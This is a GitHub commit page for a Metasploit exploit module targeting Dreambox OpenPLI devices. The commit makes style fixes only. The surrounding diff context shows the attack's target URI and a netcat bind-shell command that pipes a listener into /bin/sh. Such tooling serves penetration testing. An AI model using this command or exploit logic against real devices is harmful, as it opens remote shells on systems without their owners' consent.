Skip to content

Commit 3ab5585

Browse files
author
m-1-k-3
committed
make msftidy happy
1 parent 121a736 commit 3ab5585

File tree

1 file changed

+3
-2
lines changed

1 file changed

+3
-2
lines changed

modules/exploits/linux/http/dreambox_openpli_shell.rb

Lines changed: 3 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -9,6 +9,8 @@
99
require 'msf/core'
1010

1111
class Metasploit3 < Msf::Exploit::Remote
12+
Rank = GreatRanking
13+
1214
include Msf::Exploit::Remote::Tcp
1315
include Msf::Exploit::Remote::HttpClient
1416

@@ -71,7 +73,7 @@ def exploit
7173

7274
payl = datastore['PAYLOAD']
7375

74-
uri = '/cgi-bin/setConfigSettings'
76+
uri = '/cgi-bin/setConfigSettings'
7577

7678
if payl =~ /bind/
7779
cmd = Rex::Text.uri_encode("mknod /tmp/backpipe p; nc -l -p #{lport} 0</tmp/backpipe | /bin/sh 1>/tmp/backpipe")
@@ -107,5 +109,4 @@ def exploit
107109
handler
108110
disconnect
109111
end
110-
111112
end

0 commit comments

Comments
 (0)